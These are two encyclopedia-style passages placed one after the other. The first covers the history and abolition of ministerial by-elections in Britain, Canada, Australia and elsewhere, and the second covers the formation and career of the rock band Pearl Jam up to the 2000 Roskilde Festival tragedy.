Lord John Russell proposed eliminating ministerial by-elections as early as 1852. His son Lord Amberley proposed abolishing them in 1867, as did Viscount Bury in 1869. Amberley's and Bury's proposals were received negatively by backbenchers in the Commons, who condemned them as machinations to greatly change the constitution without public debate. With respect to the Amberley bill, James White asserted that such an election allowed a constituency to disallow its MP from serving national office and thereby abandoning it, whilst William Harcourt criticised the Bury bill for allowing ministries to form by personal connections without input from the electorate. Harcourt would reverse course when made the Home Secretary in 1880 and facing the resultant contest in Oxford, bemoaning that he was "to consider the question of a cheap and pure supply of water for the people of London ... But how am I to do so when I am kept here by the cheap distribution of more or less beer in Oxford?" Harcourt ultimately lost the election, but was returned unopposed in another for Derby.
Ministerial by-elections attracted little further attention until the Edwardian era, when the bitter politics of the time resulted in their prominence and led to their being referendums on both the government and various policies. In particular, many special interest groups such as the Tariff Reform League and the Women's Social and Political Union fiercely contested these elections to promote their causes. Despite incumbents once again appealing to chivalry and convention to shame opponents, by-election defeats became more common. Nevertheless, the elections remained largely accepted; Arthur Balfour approached the prime minister Henry Campbell-Bannerman to abolish them in 1905, but Campbell-Bannerman declined, and newspapers across the political spectrum acquiesced to the institution. An exception was The Times, which when detailing a by-election for Walthamstow in 1910 noted that the practice had begun in the reign of Queen Anne "to prevent the Court from swamping the House of Commons with placemen and pensioners" and described it as "anomalous" and "indefensible" for the 20th century.
A large reason for the elections' persistence was the fact that, in spite of claims by the opposition and suffragettes that by-election losses reflected a failure of the government, many by-election defeats were quite narrow, and in any event a minister who lost a by-election usually won a second by-election in another constituency, as happened with Winston Churchill, who lost a by-election for Manchester North West upon his 1908 appointment as the president of the Board of Trade but soon won another for Dundee. Never concerned about his prospects of joining Parliament, after his loss Churchill boasted of having secured "eight or nine safe seats ... placed at my disposal." Occasionally, however, a newly-appointed minister could fail to join Parliament and thus lose office altogether. Charles Masterman was appointed the chancellor of the Duchy of Lancaster in February 1914, but owing to the government's unpopularity lost first a February by-election for his own seat of Bethnal Green South West, then a second by-election for Ipswich in May; he was offered a third contest for Swansea in February 1915 but instead resigned and ended his ministerial career.
During the First World War, temporary acts in 1915 and 1916 were passed to suspend the requirement for re-election, in order to allow the War Cabinets of the Asquith coalition ministry and the Lloyd George ministry to be appointed quickly. Despite exuberance from the frontbench, Liberal and Irish Nationalist backbenchers, who felt betrayed by various actions of the ministry, attacked the acts' rationale and stated that the Commons was chronically underworked during the war. Opposition was sufficient to sink attempts for another moratorium in 1917, when Churchill had to run a by-election on becoming the minister of Munitions and successfully faced a challenger. Upon the return of peace, the Lloyd George ministry, which relied heavily on patronage, had its house leader, Bonar Law, table a bill that would become the Re-Election of Ministers Act 1919. Intending to abolish by-elections for seven ministers and allow up to three ministers without portfolio rather than one, the bill received no initial support outside of the government due to suspicion of Lloyd George. Since much of the opposition to the bill came from Conservatives, of whom Law was one, Law acquiesced and eventually formed a compromise with Liberals to abolish ministerial by-elections only in the first nine months after a general election.
The Lloyd George ministry collapsed in October 1922, a process accelerated by the rise of the Labour Party. In the ministry's final months, a by-election for Pontypridd in July had resulted in the loss of Thomas Arthur Lewis to a Labourite, the last time in British history a ministerial candidate would lose a by-election. Subsequent governments did not last long enough for the nine-month period to expire until 1925. In that year, the second Baldwin ministry fielded a candidate at a by-election for Bury St Edmunds in December and again for East Renfrewshire in January 1926, where Alexander MacRobert prevailed by 900 votes to remain the Solicitor General for Scotland. MacRobert had been criticised in that campaign for being too low-profile and relying on the government, and the Baldwin ministry was becoming fragile. A private member's bill was introduced by the Conservative backbencher Christopher Clayton shortly after the East Renfrewshire contest to abolish the ministerial by-elections altogether, which soon received the support of the government. Clayton asserted that the bill would simply continue the reforms of the 1919 act, while Baldwin reiterated previous arguments against such elections and noted that East Renfrewshire had gone through four elections in less than four years. Many MPs felt that not only was the remaining scope of ministerial by-elections small enough to not be worth retaining them, but also that enough by-elections occurred for other reasons to allow a gauge of public opinion on the government in between general elections. Although critics from Labour and the Liberals suggested that the bill be implemented at the next parliament rather than immediately, "by 1926 ... the fire had gone out of the debate" and the bill passed 143 votes to 74, being enacted as the Re-Election of Ministers Act (1919) Amendment Act 1926. Contrary to popular beliefs that Labour either advocated for or opposed the elections' abolition, Labour were constitutionally conservative in the 1920s and most Labour MPs abstained from voting on the 1926 bill; it was largely Conservatives who opposed the 1926 bill, 21 of them voting against it. Ministerial appointment had been the cause of 677 by-elections since the Reform Act 1832 out of a total of 3,770 between 1832 and ; ministerial by-elections were the third-most common cause of by-elections, after the death of incumbents and resignation from the Commons.
The Times celebrated the abolition, declaring that "Queen Anne is Dead!" and asserting that ministerial by-elections were never an effective check on the executive even in the 18th century and had become even more antiquated with the shorter-lived parliaments provided by the Parliament Act 1911. Further study confirmed that ministerial by-elections were largely fruitless at constraining the executive in the 18th century.
Canada
The first British colony to achieve responsible government was Nova Scotia, which received it on 8 January 1848; its House of Assembly did away with ministerial by-elections in 1927. The Legislative Assembly of New Brunswick abolished ministerial by-elections in 1927, as did that of Prince Edward Island in 1932.
The province of Canada was granted responsible government on 11 March 1848, and also adopted the practice of ministerial by-elections. Beginning in 1853 several offices were expressly exempted from the requirement for by-election, as were all officers who resigned office and took another within thirty days except for, prior to 1855, the solicitor general becoming one of the province's two attorneys general. Initially applying only to members of the province's Legislative Assembly, the requirement for by-election was extended to its Legislative Councillors in 1857. The politician John A. Macdonald used the by-election requirement, and in particular the thirty-day exemption period, to regain the joint premiership for Canada West from George Brown in 1858, and again from John Sandfield Macdonald (no relation) in 1864. In 1867, the province and two others federated to form the dominion of Canada; the province of Canada's institutions and legislation continued in those of the federal government of the dominion, whereas its provincial jurisdiction was split between the new provinces of Ontario (representing the anglophone Upper Canada) and Quebec (representing the francophone Lower Canada).
All three of these jurisdictions inherited ministerial by-elections. At the federal level, the province's 1857 legislation was re-enacted in 1867, although existing ministers were exempted from by-election when taking a new office in 1878. The King–Byng affair, a 1926 dispute between the prime minister William Lyon Mackenzie King and the governor general Lord Byng concerning the latter's refusal to dissolve the House of Commons on the Liberal King's advice after a hung parliament, led to Conservative opposition leader Arthur Meighen heading the government after King's resignation. Meighen presided over a shaky minority government, so he advised Byng to appoint "acting ministers" to avoid the need for by-elections. This resulted in a censure of Meighen's government and its eventual downfall. Ministerial by-elections' role in the crisis figured in the British debate on their final abolition there. Despite questions as to why such a wasteful practice needed to occur immediately after a general election, and buoyed by a belief that they were required by the British North America Act 1867, federal by-elections continued until they were abolished by another Conservative government in 1931. Despite a proposal by Liberal frontbencher Ernest Lapointe to restrict abolition to a nine-month period after a general election similar to what had been British practice, the final legislation ended them altogether. The Legislative Assembly of Quebec abolished by-elections in 1927. The Legislative Assembly of Ontario attempted abolition in 1926 to follow Britain's proposed lead. This proposal, led by attorney general William Folger Nickle, succeeded only in securing limited exemptions before final abolition occurred in 1941.
The Legislative Assembly of the North-West Territories used ministerial by-elections during the period of responsible government from 1897 to 1905; this period ended when the new provinces of Alberta and Saskatchewan were created from the most populous areas of the territories. Both provinces continued the practice of ministerial by-elections; the Legislative Assembly of Alberta abolished them in 1926, whereas that of Saskatchewan did so in 1936. British Columbia joined Canada in 1871; its Legislative Assembly ended ministerial by-elections in 1929 against a proposed amendment to limit abolition to a few months after a general election. Manitoba joined Canada in 1870, and its Legislative Assembly abolished ministerial by-elections in 1937.
Newfoundland began elections to its House of Assembly in 1832, was granted responsible government in 1854, and was made a dominion in 1907. It maintained ministerial by-elections until they were abolished in 1928, having already suspended them during the First World War. Dominion status would soon end due to shaky finances; a British-controlled Commission of Government was appointed in 1934 and remained in power until Newfoundland became a province of Canada in 1949.
Australia
Most of the legislatures of the British colonies in Australia required ministerial by-elections at some point, though the federal House of Representatives created in 1901 and the South Australian House of Assembly created in 1857 never did. Queensland had the practice until it was abolished, probably accidentally, by the 1884 passage of the Officials in Parliament Act. The colony had previously undergone a financial crisis in 1866, and the governor appointed a new government solely to adopt a new budget, being sure to appoint only ministers without portfolio to circumvent the requirement. Van Diemen's Land, renamed Tasmania in 1856, received a constitution providing for by-elections, which proved fatal to the "Continuous Ministry" when attorney general Richard Lucas lost his by-election in 1887. The colony implicitly abolished the practice when it adopted the Hare–Clark electoral system of proportionally-represented multi-member constituencies in 1896, and explicitly in 1905.
In New South Wales, the 1855 constitution provided for by-elections in the Legislative Assembly but expressly exempted the major offices of colonial secretary, treasurer, auditor general, attorney general, and solicitor general, allowed up to five other offices to be exempted, and allowed existing officeholders to accept another office without a by-election. Despite convention dictating that newly-appointed ministers not be generally contested, two premiersStuart Donaldson and James Martinlost by-elections in 1856 and 1863 but ultimately won by-elections in other seats; other ministers occasionally lost by-elections but usually won in other seats. George Reid's seat in the Legislative Assembly was contested on an unrelated technicality in 1884, and the resultant constitutional amendment to clarify the issue led to a movement to abolish ministerial by-elections. Several bills were introduced to that effect, but all were defeated until ministerial by-elections were finally abolished in 1906 as part of widespread electoral reform.
Victoria had ministerial by-elections, which were formalities by the end of the 19th century. Nevertheless, the resignation and election process took time, resulting in ministers' not sitting in the Legislative Assembly. George Elmslie became premier in December 1913 owing to a split in the Liberal Party that allowed his Laborites to form a government. Before the month was out, however, the Liberals reconciled and toppled the Elmslie government, with Elmslie viewing the events from the public gallery. Elmslie and his ministers were all returned in their by-elections after the government had fallen. These events led to the abolition of the practice being tabled in 1914, approved without debate in both the Legislative Assembly and Legislative Council, and granted royal assent in 1915.
Despite having a few ministerial positions specially exempted from by-election in its 1890 constitution, Western Australia was unusual in having a tradition of contesting the elections that did occur. Alfred Morgans defeated the government of George Leake in November 1901; Leake avenged this loss by campaigning against Morgans's ministerial candidates, defeating them in the by-elections and causing Morgans's government to fall, allowing Leake's resumption of the premiership. Ten more contests occurred between then and 1908, and a further four from 1908 to 1917, ending with John Scaddan's defeat as punishment for defecting from Labor during the conscription crisis. By-elections were once again formalities until 1938, when Alexander Panton was appointed minister for health and was challenged in the resultant by-election. Winning the contest, Panton would be the last Australian minister whose by-election was contested. Western Australia amended its constitution to abolish by-elections in 1947, becoming the last jurisdiction in the British Empire to do so.
Other countries
Ireland was a part of the United Kingdom between 1801 and 1922. By-elections contested in Irish constituencies were typically, but not always, caused by appointments to Ireland-specific offices such as the Solicitor-General for Ireland, although such offices could also be held by MPs contesting British constituencies. The Government of Ireland Act 1920 created two home rule parliaments for Ireland, one for Northern Ireland and the other for Southern Ireland, and did not list a by-election for its requirements of ministers, only that a minister enter his respective parliament within six months of appointment. The Parliament of Southern Ireland never achieved widespread legitimacy in any event, being outcompeted by the Dáil Eireann in the Irish War of Independence; the constitution of the Irish Free State that arose from the war expressly abolished ministerial by-elections, stating that "[t]he appointment of a member of Dáil Eireann to be a Minister shall not entail upon him any obligation to resign his seat or to submit himself for re-election".
The Union of South Africa, created in 1910, and New Zealand, granted dominion status in 1907, never had by-elections for new ministers. Southern Rhodesia was granted self-government in 1923 by letters patent that explicitly eliminated ministerial by-elections on terms similar to that of the Irish Free State. The Government of India Act 1935 exempted central and provincial ministers, or those serving a princely state on behalf of the Crown, from by-election.
Non-Westminster systems
Many political systems prohibit a dual mandate in both executive and legislative office, and would thus provide for a vacancy in a legislative seat upon appointment to the executive. If such vacancies are filled by holding by-elections, then these countries can technically be said to also have "ministerial by-elections"; quite unlike the old British practice, however, the new minister cannot enter such a by-election while retaining executive office. In American politics, and those of countries with presidential systems inspired by it, members of the executive cannot also be legislators per the custom of separation of powers; by that same logic, members of the executive are not responsible to the legislature and do not need its confidence to retain officeexecutive governments are generally elected in these systems, so they have a mandate independent from that of the legislature. In the US, members of Congress are barred from being appointed to an office that was created or had its compensation increased during their term; in practice, the Saxbe fix is used to appoint legislators to a salary-increased position by rolling the salary back to what it was at the beginning of the relevant term. In any event, the vacancies created by executive appointment are filled by by-elections pursuant to the laws of the legislator's state. For senators in particular, a state's governor may appoint a temporary successor until a by-election is held; the seventeenth amendment, which made the Senate directly elected rather than selected by state legislatures, gives states the option to limit or abolish gubernatorial appointment. , only Oregon, North Dakota, Wisconsin, and Rhode Island outright deny their governors the ability to appoint temporary senators, and the large majority of the remaining states provide no restrictions on the practice.
Dualistic parliamentary systems combine the responsible executive of Westminster systems like those in the British Empire and its successor, the Commonwealth of Nations, with the American system of disallowing simultaneous holding of executive and legislative office. In such systems, the appointment of a sitting MP to an executive position triggers a vacancy in Parliament. The Netherlands is a country with a dualistic system, but it has increased the fusion between parliament and the government since the 1970s and in any event uses candidate-based party-list proportional representation for its parliament.
Notes
References
Sources
By-elections
Westminster system
Government ministers
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https://en.wikipedia.org/wiki/Pearl%20Jam
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Pearl Jam
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Pearl Jam is an American rock band formed in Seattle, Washington, in 1990. The band's lineup consists of founding members Jeff Ament (bass guitar), Stone Gossard (rhythm guitar), Mike McCready (lead guitar), and Eddie Vedder (lead vocals, guitar), as well as Matt Cameron (drums), who joined in 1998. Keyboardist Boom Gaspar has also been a touring/session member with the band since 2002. Drummers Jack Irons, Dave Krusen, Matt Chamberlain, and Dave Abbruzzese are former members of the band. Pearl Jam outsold many of their contemporaries from the early 1990s, and are considered one of the most influential bands of the decade, being dubbed as "the most popular American rock and roll band of the '90s".
Formed after the demise of Gossard and Ament's previous bands, Green River and Mother Love Bone, Pearl Jam broke into the mainstream with their debut album, Ten, in 1991. Ten stayed on the Billboard 200 chart for nearly five years, and has gone on to become one of the highest-selling rock records ever, going 13× Platinum in the United States. Released in 1993, Pearl Jam's second album, Vs., sold over 950,000 copies in its first week of release, setting the record for most copies of an album sold in its first week of release at the time. Their third album, Vitalogy (1994), became the second-fastest-selling CD in history at the time, with more than 877,000 units sold in its first week.
One of the key bands in the grunge movement of the early 1990s, Pearl Jam's members often shunned popular music industry practices such as making music videos or participating in interviews. The band had also sued Ticketmaster, claiming it had monopolized the concert-ticket market, though eventually failed in their efforts. In 2006, Rolling Stone described the band as having "spent much of the past decade deliberately tearing apart their own fame".
Pearl Jam had sold more than 85million albums worldwide by 2018, including nearly 32million albums in the United States by 2012, making them one of the best-selling bands of all time. Pearl Jam was inducted into the Rock and Roll Hall of Fame in 2017 in its first year of eligibility. They were ranked eighth in a readers' poll by Rolling Stone magazine in its "Top Ten Live Acts of All Time" issue. Throughout its career, the band has also promoted wider social and political issues, from pro-abortion rights sentiments to opposition to George W. Bush's presidency. Vedder acts as the band's spokesman on these issues.
History
Formation and early years (1984–1990)
Stone Gossard and Jeff Ament were members of Seattle-based grunge band Green River during the mid-1980s. Green River toured and recorded to moderate success but disbanded in 1987 due to a stylistic division between the pair and bandmates Mark Arm and Steve Turner. In late 1987, Gossard and Ament began playing with Malfunkshun vocalist Andrew Wood, eventually organizing the band Mother Love Bone. In 1988 and 1989, the band recorded and toured to increasing interest and found the support of the PolyGram record label, which signed the band in early 1989. Mother Love Bone's debut album, Apple, was released in July 1990, four months after Wood died of a heroin overdose.
Ament and Gossard were devastated by the death of Wood and the resulting demise of Mother Love Bone. Gossard spent his time afterwards writing material that was harder-edged than what he had been doing previously. After a few months, Gossard started practicing with fellow Seattle guitarist Mike McCready, whose band, Shadow, had broken up; McCready in turn encouraged Gossard to reconnect with Ament. After practicing for a while, the trio sent out a five-song demo tape in order to find a singer and a drummer. They gave former Red Hot Chili Peppers drummer Jack Irons the demo to see if he would be interested in joining the band and to distribute the demo to anyone he felt might fit the lead vocal position.
Irons passed on the invitation but gave the demo to his friend Eddie Vedder. Vedder was the lead vocalist for the San Diego band Bad Radio and worked part-time at a gas station. He listened to the tape shortly before going surfing, where lyrics came to him. He then recorded the vocals to three of the songs ("Alive", "Once", and "Footsteps") in what he later described as a "mini-opera" titled Mamasan. Vedder sent the tape with his vocals back to the three Seattle musicians, who were impressed enough to fly Vedder up to Seattle for an audition. Within a week, Vedder had joined the band.
With the addition of Dave Krusen on drums, the band took the name Mookie Blaylock, in reference to the then-active basketball player. The band played its first official show at the Off Ramp Café in Seattle on October 22, 1990. They opened for Alice in Chains at the Moore Theatre in Seattle on December 22, 1990, and served as the opening act for the band's Facelift tour in 1991. Mookie Blaylock soon signed to Epic Records and renamed themselves Pearl Jam. In an early promotional interview, Vedder said that the name "Pearl Jam" was a reference to his great-grandmother Pearl, who was married to a Native American and had a special recipe for peyote-laced jam. In a 2006 cover story for Rolling Stone, Vedder admitted that this story was "total bullshit", but he did have a great-grandma named Pearl. Ament and McCready explained that Ament came up with "pearl", and that the band later settled on Pearl Jam after attending a Neil Young concert, in which he extended his songs as improvisations of 15–20 minutes in length.
Ten and the grunge explosion (1991–1992)
Pearl Jam entered Seattle's London Bridge Studios in March 1991 to record its debut album Ten. McCready said that "Ten was mostly Stone and Jeff; Eddie and I were along for the ride at that time." Krusen left the band in May 1991 after checking himself into rehabilitation for alcoholism; he was replaced by Matt Chamberlain, who previously played with Edie Brickell & New Bohemians. After playing only a handful of shows, one of which was filmed for the "Alive" video, Chamberlain left to join the band for Saturday Night Live. Chamberlain suggested Dave Abbruzzese as his replacement. Abbruzzese joined the group and played the rest of Pearl Jam's live shows supporting Ten.
Released on August 27, 1991, Ten (named after Mookie Blaylock's jersey number) contained 11 tracks dealing with dark subjects like depression, suicide, loneliness, and murder. Ten's musical style, influenced by classic rock, combined an "expansive harmonic vocabulary" with an anthemic sound. The album was slow to sell, but by the second half of 1992 it became a breakthrough success, being certified gold and reaching number two on the Billboard charts. Ten produced the hit singles "Alive", "Even Flow", and "Jeremy". Originally interpreted as an anthem by many, Vedder later revealed that "Alive" tells the semi-autobiographical tale of a son discovering that his father is actually his stepfather, and his mother's grief turns her to sexually embrace her son, who strongly resembles the biological father. In this lyric, even though Vedder originally looked at "being alive as a curse", as the sadness the speaker in the song suggests, "But as fans quickly turned the title phrase into a self-empowering anthem", particularly at Pearl Jam concerts, Vedder said: "they lifted the curse. The audience changed the meaning for me", he told VH1 Storytellers in 2006.
The song "Jeremy" and its accompanying video were inspired by a true story in which a high school student shot himself in front of his classmates. Ten stayed on the Billboard charts for nearly five years, going 13× platinum.
With the success of Ten, Pearl Jam became a key member of the Seattle grunge explosion, along with Alice in Chains, Nirvana, and Soundgarden. The band was criticized in the music press; British music magazine NME wrote that Pearl Jam was "trying to steal money from young alternative kids' pockets". Nirvana's Kurt Cobain angrily attacked Pearl Jam, claiming the band were commercial sellouts, and argued Ten was not a true alternative album because it had so many prominent guitar leads. Cobain later reconciled with Vedder, and they reportedly were on amicable terms before Cobain's death in 1994.
Pearl Jam toured relentlessly in support of Ten. Ament stated that "essentially Ten was just an excuse to tour", adding: "We told the record company, 'We know we can be a great band, so let's just get the opportunity to get out and play.'" The band's manager Kelly Curtis stated: "Once people came and saw them live, this lightbulb would go on. Doing their first tour, you kind of knew it was happening and there was no stopping it." Early on in Pearl Jam's career, the band became known for its intense live performances. Looking back at this time, Vedder said that "playing music and then getting a shot at making a record and at having an audience and stuff, it's just like an untamed force... But it didn't come from jock mentality. It came from just being let out of the gates."
In 1992, Pearl Jam made television appearances on Saturday Night Live and MTV Unplugged and took a slot on that summer's Lollapalooza tour with Ministry, Red Hot Chili Peppers, and Soundgarden, among others. The band contributed two songs to the soundtrack of the 1992 Cameron Crowe film Singles: "State of Love and Trust" and "Breath". Ament, Gossard and Vedder appeared in Singles under the name Citizen Dick; their parts were filmed when Pearl Jam was known as Mookie Blaylock.
Vs., Vitalogy and dealing with success (1993–1995)
The band members grew uncomfortable with their success, with much of the burden of Pearl Jam's popularity falling on frontman Vedder. While Pearl Jam received four awards at the 1993 MTV Video Music Awards for its video for "Jeremy", including Video of the Year and Best Group Video, the band refused to make a video for "Black" in spite of pressure from the label. This action began a trend of the band refusing to make videos for its songs. Vedder felt that the concept of music videos robbed listeners from creating their own interpretations of the song, stating that "Before music videos first came out, you'd listen to a song with headphones on, sitting in a beanbag chair with your eyes closed, and you'd come up with your own visions, these things that came from within. Then all of a sudden, sometimes even the first time you heard a song, it was with these visual images attached, and it robbed you of any form of self-expression." "Ten years from now", Ament said, "I don't want people to remember our songs as videos."
Pearl Jam headed into the studio in early 1993 facing the challenge of following up the commercial success of its debut. McCready said: "The band was blown up pretty big and everything was pretty crazy." Released on October 19, 1993, Pearl Jam's second album, Vs., sold 950,378 copies in its first week of release and outperformed all other entries in the Billboard top ten that week combined. The album set the record for most copies of an album sold in its first week of release, which it held until broken by Garth Brooks' 1998 album Double Live. Vs. included the singles "Go", "Daughter", "Animal", and "Dissident". Paul Evans of Rolling Stone stated: "Few American bands have arrived more clearly talented than this one did with Ten; and Vs. tops even that debut." He added: "Like Jim Morrison and Pete Townshend, Vedder makes a forte of his psychological-mythic explorations... As guitarists Stone Gossard and Mike McCready paint dense and slashing backdrops, he invites us into a drama of experiment and strife." The band decided, beginning with the release of Vs., to scale back its commercial efforts. The members declined to produce any more music videos after the massive success of "Jeremy" and opted for fewer interviews and television appearances. Industry insiders compared Pearl Jam's tour that year to the touring habits of Led Zeppelin in that the band "ignored the press and took its music directly to the fans". During the Vs. Tour, the band set a cap on ticket prices in an attempt to thwart scalpers.
By 1994, Pearl Jam was "fighting on all fronts" as its manager described the band at the time. Reporter Chuck Philips broke a series of stories showing that Ticketmaster was gouging Pearl Jam's customers. Pearl Jam was outraged when, after it played a pair of charity benefit shows in Chicago, it discovered that ticket vendor Ticketmaster had added a service charge to the tickets. Pearl Jam was committed to keeping their concert ticket prices down but Fred Rosen of Ticketmaster refused to waive the service charge. Because Ticketmaster controlled most major venues, the band was forced to create from scratch its own outdoor stadiums in rural areas in order to perform. Pearl Jam's efforts to organize a tour without the ticket giant collapsed, which Pearl Jam said was evidence of Ticketmaster's monopoly. An analysis of journalist Chuck Philips' investigative series in a well known legal monograph concluded that it was hard to imagine a legitimate reason for Ticketmaster's exclusive contracts with venues and contracts to cover such a lengthy period of time. The authors wrote: "The pervasiveness of Ticketmaster's exclusive agreements, coupled with their excessive duration and the manner in which they are procured, supported a finding that Ticketmaster had engaged in anticompetitive conduct under section 2 of the Sherman Act."
The United States Department of Justice was investigating the company's practices at the time and asked the band to create a memorandum of its experiences with the company. Band members Gossard and Ament testified at a subcommittee investigation on June 30, 1994, in Washington, D.C. Pearl Jam alleged that Ticketmaster used anti-competitive and monopolistic practices to gouge fans. After Pearl Jam's testimony before Congress, Congressman Dingell (D-Mich.) wrote a bill requiring full disclosure to prevent Ticketmaster from burying escalating service fees. Pearl Jam's manager said he was gratified that Congress recognized the problem as a national issue.
The band eventually canceled its 1994 summer tour in protest. After the Justice Department dropped the case, Pearl Jam continued to boycott Ticketmaster, refusing to play venues that had contracts with the company. The band tried to work around Ticketmaster's exclusive contracts by hosting charities and benefits at major venues because the exclusive contracts often contained a clause allowing charity event promoters to sell their own tickets. Music critic Jim DeRogatis noted that, along with the Ticketmaster debacle, "the band has refused to release singles or make videos; it has demanded that its albums be released on vinyl; and it wants to be more like its 1960s heroes, The Who, releasing two or three albums a year". He also stated that sources said that most of the band's third album Vitalogy was completed by early 1994, but that either a forced delay by Epic or the battle with Ticketmaster was to blame for the delay.
Pearl Jam wrote and recorded while touring behind Vs. and the majority of the tracks for Vitalogy were recorded during breaks on the tour. Tensions within the band had increased by this time. Producer Brendan O'Brien said: "Vitalogy was a little strained. I'm being polite—there was some imploding going on." After Pearl Jam finished the recording of Vitalogy, drummer Dave Abbruzzese was fired. The band cited political differences between Abbruzzese and the other members; for example, Abbruzzese disagreed with the Ticketmaster boycott. He was replaced by Jack Irons, who had connected Vedder to the rest of the band some four years prior. Irons made his debut with the band at Neil Young's 1994 Bridge School Benefit, but he was not announced as the band's new drummer until its 1995 Self-Pollution satellite radio broadcast, a four-and-a-half-hour-long pirate broadcast out of Seattle which was available to any radio stations that wanted to carry it.
Vitalogy was released first on November 22, 1994, on vinyl and then two weeks later on December 6, 1994, on CD and cassette. The CD became the second-fastest-selling in history, with more than 877,000 units sold in its first week. Stephen Thomas Erlewine of AllMusic stateed that "thanks to its stripped-down, lean production, Vitalogy stands as Pearl Jam's most original and uncompromising album". Many of the songs on the album appear to be inspired by the pressures of fame. The song "Spin the Black Circle", an homage to vinyl records, won a Grammy Award in 1996 for Best Hard Rock Performance. Vitalogy also included the songs "Not for You", "Corduroy", "Better Man", and "Immortality". "Better Man" (), a song originally written and performed by Vedder while in Bad Radio, reached number one on the Billboard Mainstream Rock chart, spending a total of eight weeks there. Considered a "blatantly great pop song" by producer Brendan O'Brien, Pearl Jam was reluctant to record it and initially rejected it from Vs. due to its accessibility.
The band continued its boycott against Ticketmaster during its 1995 tour for Vitalogy, but was surprised that virtually no other bands joined. Pearl Jam's initiative to play only at non-Ticketmaster venues effectively, with a few exceptions, prevented it from playing shows in the United States for the next three years. Ament later said: "We were so hardheaded about the 1995 tour. Had to prove we could tour on our own, and it pretty much killed us, killed our career." In the same year, Pearl Jam backed Neil Young, whom the band had noted as an influence, on his album Mirror Ball. Contractual obligations prevented the use of the band's name anywhere on the album, but the members were all credited individually in the album's liner notes. Two songs from the sessions were left off Mirror Ball: "I Got Id" and "Long Road". These two tracks were released separately by Pearl Jam in the form of the 1995 EP Merkin Ball.
No Code and Yield (1996–1999)
Following the round of touring for Vitalogy, the band went into the studio to record No Code. Vedder said: "Making No Code was all about gaining perspective." Released in 1996, No Code was seen as a deliberate break from the band's sound since Ten, favoring experimental ballads and noisy garage rockers. David Browne of Entertainment Weekly stated that "No Code displays a wider range of moods and instrumentation than on any previous Pearl Jam album." The lyrical themes on the album deal with issues of self-examination, with Ament stating: "In some ways, it's like the band's story. It's about growing up." Although the album debuted at number one on the Billboard charts, it quickly fell down the charts. No Code included the singles "Who You Are" (), "Hail, Hail", and "Off He Goes". As with Vitalogy, very little touring was done to promote No Code because of the band's refusal to play in Ticketmaster's venue areas. A European tour took place in the fall of 1996. Gossard stated that there was "a lot of stress associated with trying to tour at that time" and that "it was growing more and more difficult to be excited about being part of the band".
Following the short tour for No Code, the band went into the studio in 1997 to record its follow-up. The sessions for the band's fifth album represented more of a team effort among all members of the group, with Ament stating that "everybody really got a little bit of their say on the record... because of that, everybody feels like they're an integral part of the band". On February 3, 1998, Pearl Jam released Yield. The album was cited as a return to the band's early, straightforward rock sound. Tom Sinclair of Entertainment Weekly stated that the band has "turned in an intermittently affecting album that veers between fiery garage rock and rootsy, acoustic-based ruminations. Perhaps mindful of their position as the last alt-rock ambassadors with any degree of clout, they've come up with their most cohesive album since their 1991 debut, Ten." Lyrically, Yield continued with the more contemplative type of writing found on No Code, with Vedder saying: "What was rage in the past has become reflection." Yield debuted at number two on the Billboard charts, but like No Code soon began dropping down the charts. It included the singles "Given to Fly" and "Wishlist". The band hired comic book artist Todd McFarlane to create an animated video for the song "Do the Evolution" from the album, its first music video since 1992. A documentary detailing the making of Yield, Single Video Theory, was released on VHS and DVD later that year.
In April 1998, Pearl Jam again changed drummers. Jack Irons left the band due to dissatisfaction with touring and was replaced with former Soundgarden drummer Matt Cameron on a temporary basis, but he soon became a permanent replacement for Irons. Pearl Jam's 1998 Yield Tour in North America marked the band's return to full-scale touring. The band's anti-trust lawsuit against Ticketmaster had proven to be unsuccessful and hindered live tours. Many fans had complained about the difficulty in obtaining tickets and the use of non-Ticketmaster venues, which were judged to be out-of-the-way and impersonal. For this tour and future tours, Pearl Jam again began using Ticketmaster in order to "better accommodate concertgoers". The 1998 summer tour was a big success, and after it was completed the band released Live on Two Legs, a live album which featured select performances from the tour.
In 1998, Pearl Jam recorded "Last Kiss", a cover of a 1960s ballad made famous by J. Frank Wilson and the Cavaliers. It was recorded during a soundcheck and released on the band's 1998 fan club Christmas single. The following year, the cover was put into heavy rotation across the country. By popular demand, the cover was released to the public as a single in 1999, with all of the proceeds going to the aid of refugees of the Kosovo War. The band also decided to include the song on the 1999 charity compilation album, No Boundaries: A Benefit for the Kosovar Refugees. "Last Kiss" peaked at number two on the Billboard charts and became the band's highest-charting single.
Binaural and the Roskilde tragedy (2000–2001)
Following its full-scale tour in support of Yield, the band took a short break, but then reconvened toward the end of 1999 and commenced work on a new album. On May 16, 2000, Pearl Jam released its sixth studio album, Binaural. It was drummer Matt Cameron's studio recording debut with the band. The title is a reference to the binaural recording techniques that were utilized on several tracks by producer Tchad Blake, known for his use of the technique. Binaural was the first album since the band's debut not produced by Brendan O'Brien, although O'Brien was called in later to remix several tracks. Gossard stated that the band members "were ready for a change". Jon Pareles of Rolling Stone wrote: "Apparently as tired of grunge as everyone except Creed fans, Pearl Jam delve elsewhere." He added: "The album reflects both Pearl Jam's longstanding curse of self-importance and a renewed willingness to be experimental or just plain odd." The album is lyrically darker than the band's previous album Yield, with Gossard describing the lyrics as "pretty sombre". Binaural included the singles "Nothing as It Seems", one of the songs featuring binaural recording, and "Light Years". The album sold just over 700,000 copies and became the first Pearl Jam studio album to fail to reach platinum status.
Pearl Jam decided to record every show on its 2000 Binaural Tour professionally, after noting the desire of fans to own a copy of the shows they attended and the popularity of bootleg recordings. The band had been open in the past about allowing fans to make amateur recordings, and these "official bootlegs" were an attempt to provide a more affordable and better quality product for fans. Pearl Jam originally intended to release them to only fan club members, but the band's record contract prevented it from doing so. Pearl Jam released all of the albums in record stores as well as through its fan club. The band released 72 live albums in 2000 and 2001, and twice set a record for most albums to debut in the Billboard 200 at the same time.
Pearl Jam's 2000 European tour ended in tragedy on June 30, with an accident at the Roskilde Festival in Denmark. Nine fans were crushed underfoot and suffocated to death as the crowd rushed to the front. After numerous requests for the crowd to step back, the band stopped playing and tried to calm the crowd when the musicians realized what was happening, but it was already too late. The two remaining dates of the tour were canceled and members of the band contemplated retiring after this event.
